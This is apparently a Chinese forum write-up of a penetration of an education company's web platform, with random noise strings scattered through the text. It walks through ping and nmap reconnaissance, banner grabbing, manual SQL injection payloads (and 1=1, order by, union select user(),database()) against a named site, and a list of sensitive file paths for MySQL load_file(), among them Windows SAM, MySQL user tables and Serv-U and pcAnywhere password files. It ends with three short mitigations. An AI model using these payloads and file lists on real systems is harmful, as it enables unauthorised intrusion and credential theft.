题记:
0 A9 t" J+ Q# L% k' u% P一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……7 |/ T- F5 S& C3 G @1 ]) N
第一步:获取需要的信息5 n0 d( P2 G1 ~' P
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。/ B0 H* g# e+ y7 }; b6 z
注:以下为保护特用XXX代替敏感信息
9 g/ k( |* c" \5 V顺手先PING了一下他们的域名:' }5 m2 q/ c. r; W3 M1 n
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)2 P/ N' k3 a# @. d# Q/ m* q4 n4 A. A% h
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
4 d% r6 b1 Q- }5 Z( M顺便了解一下TTL,学好基础知识才能一路顺风:" i( W: i, M! L" H! Q
TTL:(Time To Live ) 生存时间+ C7 m o! \' R5 {( H
指定数据包被路由器丢弃之前允许通过的网段数量。- B5 q$ c. p6 @2 f; L+ `
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。$ L- ^# G5 T( B/ l# [- `4 P7 E$ t) s
使用PING时涉及到的 ICMP 报文类型# J$ F. P( W) j: x( j1 X
一个为ICMP请求回显(ICMP Echo Request)! h7 m. g( _8 c5 Y" G
一个为ICMP回显应答(ICMP Echo Reply)
3 S o# }# Z) i6 F8 Q, R3 j; P7 |5 rTTL 字段值可以帮助我们识别操作系统类型。
: n* {& r1 B0 I( B" X" i: PUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
" q' t% k- d2 |" [0 }+ M. @Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
. S0 _* e# H. _1 g: L4 O微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128/ B- |! C. p- d* G
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
* ~/ |4 t! d: V) d- f5 f当然,返回的TTL值是相同的+ w, h9 i$ c, p1 g' J0 o; X
但有些情况下有所特殊& ?; ^+ R6 q& B0 A
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
3 [8 J9 V1 G5 y+ ]8 |FreeBSD 4.1, 4.0, 3.4;
0 x0 y3 k& E5 p2 V1 o4 xSun Solaris 2.5.1, 2.6, 2.7, 2.8;
; u' ~8 \+ w7 ^6 n% Y$ u- ^( u/ l, |+ qOpenBSD 2.6, 2.7,
; } ~# ~- P7 M. `; w9 kNetBSD% ]) \. h% b! u
HP UX 10.20
8 S: @3 k0 h9 N3 U3 S% }ICMP 回显应答的 TTL 字段值为 255* g a# M) i7 s
Windows 95/98/98SE
7 ^, C5 ]5 \& H: OWindows ME! v: v+ `+ q) C. C3 }/ L' ~
ICMP 回显应答的 TTL 字段值为 326 w1 X$ g* [. l! v8 m; j
Windows NT4 WRKS# q9 R7 w8 I G* ]9 t/ h$ r
Windows NT4 Server
8 u. j3 q% r( r3 J* F& k5 ?8 BWindows 2000
% W% I/ V) H- f$ ^' A2 _Windows XP5 }4 ]. P9 S; ?" g4 M6 h
ICMP 回显应答的 TTL 字段值为 128
% l8 o* y# E8 J) l5 r这样,我们就可以通过这种方法来辨别操作系统9 `9 ~" t1 C7 F/ Z$ Z+ l+ s$ W9 y
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
' F9 v4 U* q+ f$ P6 Y1 n' I! ]6 x用NMAP扫描一下:
' ~- H' D% e! O4 o9 {: [* w; onmap -sT -O XXX.XXX.XXX.XXX
, M( l# Z0 V& f. K如果没有装WinPcap则会弹出提示:& V$ `$ A3 V! Y9 e; l
WARNING: Could not import all necessary WinPcap functions. You may need to upgr0 V) c/ v0 Y P3 V
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
; n& e# O/ f$ t* o+ ]6 |( Q$ D7 o! A) mode — Nmap may not function completely
( H, G* X# `1 v& H" _TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher$ A5 o# D; K& b! Q% k- @# F" }
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
/ \: P* m8 t+ ?) a6 npcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an# P8 Z4 g6 h, C& ^8 o
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
! z: C) y7 |1 `9 X5 Xersions, you may be able to take iphlpapi.dll from another system and place it i
1 I. J, r0 }* g) D! R- Kn your system32 dir (e.g. c:\windows\system32).
) E" n! Y; v8 BQUITTING!
% ~/ {9 B6 \; R: L* |到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe& ?1 X! e: @3 a9 y3 m- H$ ^4 Z
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
: T' Q# j" Z" T5 ?Interesting ports on XXX.XXX.XXX.XXX:
# e8 w1 F6 p) B( p5 Z ^% pNot shown: 986 closed ports
" s8 V h, Z" W& o- r! n' |$ EPORT STATE SERVICE# V# Z( ^& V. t8 G) }
21/tcp open ftp
, x* n U/ \7 y& X; q4 u22/tcp open ssh0 e1 `0 D, p8 u9 F! F/ k" z# f t
23/tcp open telnet- x; B9 Y3 D; a+ B
80/tcp open http/ S8 |. G7 G4 U$ {, S
111/tcp open rpcbind
: j" ]9 ]" h0 q0 Z7 R& L9 X' W135/tcp filtered msrpc: n& l F( z+ K+ ^! n8 {$ w
139/tcp filtered netbios-ssn5 N; [, g; ]# r- m( d9 A( a
445/tcp filtered microsoft-ds: ]% r* n" X+ u/ K" K
513/tcp open login
. u- e$ d0 {$ P- e- b514/tcp open shell
& x: ]/ G$ M' ^1 K: W593/tcp filtered http-rpc-epmap2 T4 W: i0 q, K% [6 n3 I$ W% x
1720/tcp filtered H.323/Q.931
, F: ?; I' a" j5 T, F# y( a9 K3306/tcp open mysql
# x" a& L7 g8 V4444/tcp filtered krb524
, `4 a& A F9 x: {Device type: WAP
8 [4 d4 ?+ l' ]) {4 ZRunning: Linux 2.4.X" l) I5 `: H2 c
OS details: DD-WRT (Linux 2.4.35s)- Y- F2 V) \0 X2 c5 v0 v+ P8 g
Network Distance: 13 hops+ w) n1 n! U$ B) ?
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:6 f9 C9 Z& D2 r8 z( \1 i' H
login as:
& m }" c" U, }9 a% JTelnet23端口也是开着的,用telnet 命令链接一下:) ?8 o1 d3 f) _- P6 d( R: |
telnet XXX.XXX.XXX.XXX# z7 m- y8 L3 e. M) |0 s6 b1 Q
提示:. X8 A, D! O9 c( w
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
, q- F7 Z5 v6 f( l. Z4 oKernel 2.6.18-92.el5PAE on an i686
3 b2 t) C, e: T% J) f& N5 Hlogin:
0 D" O" |% _; z- n7 u& ^' h0 v获取HTTP头信息:
# l# P, q* K0 [/ c& g在本地执行如下PHP代码
) H0 P- [ V+ D- l( b<?php, Y# U! d# u9 r" Z% l- U2 @
$url = ‘XXX.XXX.XXX.XXX’;4 C0 V+ X# b% c8 |4 d/ i5 m' |
print_r(get_headers($url));' O% I" c/ r- U D v% E1 b
print_r(get_headers($url, 1));
6 I' m, \1 _& ^. J8 @% }" D! ??>% P/ T+ P" z5 Z5 a
将以上代码保存为PHP文件,执行:
w: t4 F4 Q7 p0 }Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )1 G+ n8 l( ~: M+ ~6 L* @
现在可以得出结论:- l1 Y1 P% N+ [5 w9 X
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
2 h* F2 V6 q3 g8 j# V- |内核版本:Kernel 2.6.18-92.el5PAE on an i6862 `; B+ @+ H8 x* w, X4 M8 g
WEB服务器版本:nginx/0.7.61
$ T B$ r! W/ h0 F @ P第二步,开始测试寻找漏洞
1 N# [# ?6 E! M! v' U9 b8 I9 v# {分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
' Q2 @' v$ N5 x. q2 A$ C1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的0 F# e+ C7 I' A
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试; w- Q' f. T# \) y& u' s
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常3 B. T" b3 H9 l, S7 S
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
& F8 k7 d7 C0 Q7 V2 u) N恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
, F* D7 |8 Y8 m3、手工注入:
6 Z: G' p$ q+ U: E3 P; w% G- J, c注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
8 ~# q# Y+ z5 z% H4 N( p( v& a! M3.1 猜测当前表字段数/ j( r" r4 f, d
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10, E- l/ a9 U0 c7 ?$ {3 p% n
此处猜测有个简单的算法,都是有技巧的吗,呵呵* u7 x9 l4 M6 j# l
算法简单如下:, c$ ]3 k# z% L% E4 y1 \( Y
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
. E0 S+ T& m( D第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
( q1 Y. R0 x* s# o/ u5 Y需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
& z1 Z" Z* n0 W- w7 p k以此来判断,是否过界,配合取中算法猜出字段数。
7 \8 q1 D9 |; |" v举例:/ M; B% i! M$ d( P+ f, r" f
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
: r- ^& ^, K& V1 K nhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
0 ?4 W4 n. p( [& E/ M此时3则为我们要找的字段数。
- o0 o# R! N( [3.2 配合union联合查询字段在页面所位置
; i6 |$ v j" O+ K+ b我们已经知道了字段数为3,此时则可以做如下操作:
" d' p6 y! k" [: s, nhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
9 T. A' f6 N2 |& o! s
. ?8 h; p8 c1 i( B' D; h$ g这样就可以测试到哪些字段在页面上有所显示了,如图:( }, A2 f/ j2 a$ T) U% @
* S8 H; k& _# {1 d- Z3.3 查敏感信息
& U* s, S! e0 G3 ?这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
/ |1 ^) l$ s- j. d, j, `3 Ehttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()) x2 \2 h3 Z5 ]) L" I( L
3.3.1 先查数据库用户、数据库名,以备后用,如图:( d6 F4 R% S, R. C# R
' ?( Q @- J" K得到数据库用户为root、数据库名为DBxx;
$ m3 z! i- o& }0 G% e7 ?3.3.2 查配置文件
- f- d. o s/ R/ Q. |9 u4 A+ @* N: l r$ n查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
; N# p6 Q7 x) q: Y" `( Z查看文件有一定的条件限制:
) }* M/ p/ ^! z E1 P欲读取文件必须在服务器上
* [" ~) @8 ?! z0 P必须指定文件完整的路径
( s8 ^6 ~: R: p( w必须有权限读取并且文件必须完全可读
* ?4 x8 K; {0 ~" X4 B8 \欲读取文件必须小于 max_allowed_packet1 J! b8 ^ C4 G
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
( }+ z4 W G1 R: s: T* ^常用的一些:1 M c" n+ _' P5 x3 I) L
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
3 I4 Q3 D, r) D3 I2 Y. B% D) V/usr/local/apache2/conf/httpd.conf
/ g2 P( Z: ^% l+ b7 L/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置1 J# u% `; G2 N' D: p" N8 _
/usr/local/app/php5/lib/php.ini //PHP相关设置
' U% Q: Q! K$ C& u/etc/sysconfig/iptables //从中得到防火墙规则策略$ y! {) _% e# `3 D9 d/ y3 S
/etc/httpd/conf/httpd.conf // apache配置文件: s5 v/ |$ M) q7 a A7 x
/etc/rsyncd.conf //同步程序配置文件' N) S: i% ]6 a6 H* L. D
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
) k! ~- d" g4 W; M- {/etc/my.cnf //mysql的配置文件( M) Z6 [! Y6 T# r* S& F
/etc/redhat-release //系统版本8 T" C$ R$ P& k
/etc/issue
8 y2 H6 x X) p# ]5 {5 j+ g/etc/issue.net
* ]. J/ Y/ S8 `# [c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
$ m6 f1 b, S8 G) V. u- Rc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
: O* {. x s# q1 E, F) B9 {/ qc:\Program Files\Serv-U\ServUDaemon.ini
4 ?, `& E* e; }3 ]" Mc:\windows\my.ini //MYSQL配置文件: J0 u0 T2 {/ @' J+ r) O
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件, c q$ U* e; A K; }7 h+ l8 q
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,3 R" u6 H2 g+ z( {
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
% D; V8 C Z! w% lc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
! E9 b: ~: n3 ~# F Kc:\Program Files\RhinoSoft.com\ServUDaemon.exe1 [" x1 u# R& I Q+ n
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件0 _+ B x+ p. M- ~$ D: _2 g1 `
//存储了pcAnywhere的登陆密码. r' A( a- Q& Y: T9 ~
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。. ?( A; k' m; q/ r
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
" e! H/ c5 }- w# E: G最后:防范措施- v U) q8 X3 @0 R8 }* q l
1、修复PHP注入漏洞;2 w+ k: O* s+ N$ b
2、Mysql使用普通权限的用户;9 R1 E3 s% d, m# m( v
3、升级linux内核至最新版本; |